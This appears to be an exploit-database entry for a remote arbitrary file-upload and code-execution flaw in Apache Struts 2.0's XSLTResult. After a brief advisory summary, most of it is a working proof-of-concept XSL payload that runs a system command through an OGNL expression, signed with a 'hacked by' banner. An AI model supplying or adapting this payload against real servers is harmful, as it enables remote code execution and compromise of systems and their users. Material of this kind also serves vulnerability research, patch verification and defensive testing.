Apache Struts 2.0 – ‘XSLTResult.java’ Arbitrary File Upload
source: https://www.securityfocus.com/bid/52702/info Apache Struts2 is prone to a remote arbitrary file-upload vulnerability because it fails to sufficiently sanitize user-supplied input. Attackers can exploit this issue to upload arbitrary code and run it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible. <?xml version="1.0" encoding="UTF-8" ?> <xsl:stylesheet xmlns:xsl="http://www.example.com/1999/XSL/Transform" version="1.0" xmlns:ognl="ognl.Ognl"> <xsl:template match="/"> <html> <body> <h2>hacked by kxlzx</h2> <h2>http://www.example.com</h2> <exp> <xsl:value-of select="ognl:getValue('@Runtime@getRuntime().exec("calc")', '')"/> </exp> </body> </html> </xsl:template> </xsl:stylesheet> |
